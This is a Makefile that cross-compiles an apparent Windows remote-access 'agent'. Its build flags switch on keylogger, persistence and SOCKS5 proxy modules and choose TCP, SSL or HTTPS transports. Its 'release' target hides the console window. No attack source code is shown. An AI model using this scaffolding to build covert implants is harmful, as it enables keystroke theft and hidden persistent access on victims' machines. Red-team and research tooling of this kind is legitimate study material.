175 lines
5.3 KiB
Makefile
175 lines
5.3 KiB
Makefile
# Makefile Build Options Cheat Sheet
|
|
|
|
# Basic Build Commands:
|
|
# make - Default build with testing code and console window
|
|
# make all - Same as make
|
|
# make release - Production build (no testing code, no console window)
|
|
# make size-opt - Build with maximum size optimizations
|
|
# make clean - Remove all object files and executable
|
|
# make run - Build and run the executable
|
|
# make info - Show current build configuration
|
|
|
|
# Feature Flags - Enable features by setting variables:
|
|
# make ENABLE_PROXY=TRUE - Enable proxy functionality
|
|
# make ENABLE_PERSISTENCE=TRUE - Enable persistence
|
|
# make ENABLE_KEYLOGGER=TRUE - Enable keylogger
|
|
# make ENABLE_PROXY=TRUE ENABLE_PERSISTENCE=TRUE ENABLE_KEYLOGGER=TRUE - Enable multiple features
|
|
|
|
# Transport Options - Choose one transport method:
|
|
# make USE_SSL=TRUE - Use SSL (Windows SChannel) default is plain TCP
|
|
# make USE_HTTPS=TRUE - Use HTTPS
|
|
|
|
# Common Build Combinations:
|
|
# make ENABLE_PROXY=TRUE ENABLE_PERSISTENCE=TRUE ENABLE_KEYLOGGER=TRUE - Development build with all features
|
|
# make release ENABLE_PROXY=TRUE USE_SSL=TRUE - Production build with proxy and SSL
|
|
# make size-opt - Size-optimized build with minimal features
|
|
# make release ENABLE_PROXY=TRUE ENABLE_PERSISTENCE=TRUE ENABLE_KEYLOGGER=TRUE USE_SSL=TRUE - Full-featured release build
|
|
|
|
# Build Types:
|
|
# Default - Testing build with console window visible
|
|
# Release - Production build, no console window (-mwindows flag)
|
|
# Size-opt - Maximum size optimization with function/data sections removal
|
|
|
|
# Compiler and flags
|
|
CC = x86_64-w64-mingw32-gcc
|
|
LDFLAGS = -lws2_32 -liphlpapi
|
|
INCLUDE_DIR = -I.
|
|
SRC_DIR = src
|
|
OBJ_DIR = obj
|
|
BIN_DIR = bin
|
|
|
|
# Define default flags
|
|
CFLAGS = -DTESTING_BUILD
|
|
|
|
# Define feature flags
|
|
USE_SSL = FALSE
|
|
USE_HTTPS = FALSE
|
|
ENABLE_PROXY = FALSE
|
|
ENABLE_PERSISTENCE = FALSE
|
|
ENABLE_KEYLOGGER = FALSE
|
|
|
|
# Determine transport type and binary name
|
|
ifeq ($(USE_SSL),TRUE)
|
|
TRANSPORT = ssl
|
|
EXEC = $(BIN_DIR)/agent_ssl.exe
|
|
else ifeq ($(USE_HTTPS),TRUE)
|
|
TRANSPORT = https
|
|
EXEC = $(BIN_DIR)/agent_https.exe
|
|
else
|
|
TRANSPORT = tcp
|
|
EXEC = $(BIN_DIR)/agent_tcp.exe
|
|
endif
|
|
|
|
# Basic source files (always included)
|
|
SRC_FILES = agent.c aes.c
|
|
|
|
# Add proxy files conditionally
|
|
ifeq ($(ENABLE_PROXY),TRUE)
|
|
CFLAGS += -DENABLE_PROXY=TRUE
|
|
# SRC_FILES += modules/socks5_server.c modules/socks5_agent.c
|
|
else
|
|
CFLAGS += -DENABLE_PROXY=FALSE
|
|
endif
|
|
|
|
# Add persistence conditionally
|
|
ifeq ($(ENABLE_PERSISTENCE),TRUE)
|
|
CFLAGS += -DENABLE_PERSISTENCE=TRUE
|
|
# SRC_FILES += modules/persistence.c
|
|
else
|
|
CFLAGS += -DENABLE_PERSISTENCE=FALSE
|
|
endif
|
|
|
|
# Add keylogger conditionally
|
|
ifeq ($(ENABLE_KEYLOGGER),TRUE)
|
|
CFLAGS += -DENABLE_KEYLOGGER=TRUE
|
|
# SRC_FILES += modules/keylogger.c
|
|
else
|
|
CFLAGS += -DENABLE_KEYLOGGER=FALSE
|
|
endif
|
|
|
|
# Add transport implementation based on USE_SSL or USE_HTTPS
|
|
ifeq ($(USE_SSL),TRUE)
|
|
CFLAGS += -DUSE_SSL=TRUE
|
|
LDFLAGS += -lsecur32
|
|
SRC_FILES += transport/transport_schannel.c
|
|
else ifeq ($(USE_HTTPS),TRUE)
|
|
CFLAGS += -DUSE_HTTPS=TRUE
|
|
LDFLAGS += -lwinhttp
|
|
SRC_FILES += transport/transport_http.c
|
|
else
|
|
SRC_FILES += transport/transport_tcp.c
|
|
endif
|
|
|
|
# Generate source file paths
|
|
SOURCES = $(addprefix $(SRC_DIR)/, $(SRC_FILES))
|
|
|
|
# Object files from source files (flatten directory structure)
|
|
OBJECTS = $(addprefix $(OBJ_DIR)/, $(addsuffix .o, $(basename $(notdir $(SRC_FILES)))))
|
|
|
|
# Create output directories if they don't exist
|
|
$(shell mkdir -p $(OBJ_DIR) $(BIN_DIR))
|
|
|
|
# Default target: Compile and link everything
|
|
all: $(EXEC)
|
|
|
|
# Transport-specific targets
|
|
tcp:
|
|
$(MAKE) USE_SSL=FALSE USE_HTTPS=FALSE
|
|
|
|
ssl:
|
|
$(MAKE) USE_SSL=TRUE USE_HTTPS=FALSE
|
|
|
|
https:
|
|
$(MAKE) USE_SSL=FALSE USE_HTTPS=TRUE
|
|
|
|
# Link the object files into the final executable
|
|
$(EXEC): $(OBJECTS)
|
|
$(CC) $(OBJECTS) -o $(EXEC) $(LDFLAGS)
|
|
|
|
# Compile each .c file into a .o object file (flatten directory structure)
|
|
$(OBJ_DIR)/%.o: $(SRC_DIR)/%.c
|
|
$(CC) $(CFLAGS) $(INCLUDE_DIR) -c $< -o $@
|
|
|
|
$(OBJ_DIR)/%.o: $(SRC_DIR)/*/%.c
|
|
$(CC) $(CFLAGS) $(INCLUDE_DIR) -c $< -o $@
|
|
|
|
# Build with size optimization
|
|
size-opt: CFLAGS += -ffunction-sections -fdata-sections -flto -Os
|
|
size-opt: LDFLAGS += -Wl,--gc-sections -s -flto
|
|
size-opt: clean all
|
|
@echo "Built with additional size optimizations"
|
|
|
|
# Build without testing code and without console window
|
|
release: CFLAGS := $(filter-out -DTESTING_BUILD,$(CFLAGS))
|
|
release: LDFLAGS += -mwindows
|
|
release: clean all
|
|
@echo "Built release version (no testing code, no console window)"
|
|
|
|
# Clean up object files and the executable
|
|
clean:
|
|
rm -rf $(OBJ_DIR)/* $(BIN_DIR)/agent_*.exe $(SRC_DIR)/agent*.exe
|
|
|
|
# Optional: Run the program after building
|
|
run: $(EXEC)
|
|
./$(EXEC)
|
|
|
|
# Show current configuration
|
|
info:
|
|
@echo "Build configuration:"
|
|
@echo " Transport: $(TRANSPORT)"
|
|
@echo " Binary: $(EXEC)"
|
|
@echo " USE_SSL: $(USE_SSL)"
|
|
@echo " USE_HTTPS: $(USE_HTTPS)"
|
|
@echo " ENABLE_PROXY: $(ENABLE_PROXY)"
|
|
@echo " ENABLE_PERSISTENCE: $(ENABLE_PERSISTENCE)"
|
|
@echo " ENABLE_KEYLOGGER: $(ENABLE_KEYLOGGER)"
|
|
@echo " Testing build: $(filter -DTESTING_BUILD,$(CFLAGS))"
|
|
@echo " Source files: $(notdir $(SOURCES))"
|
|
@echo " CFLAGS: $(CFLAGS)"
|
|
@echo " LDFLAGS: $(LDFLAGS)"
|
|
@echo " INCLUDE_DIR: $(INCLUDE_DIR)"
|
|
|
|
install:
|
|
@echo "Install target not implemented."
|
|
|
|
.PHONY: all clean run info install size-opt release tcp ssl https |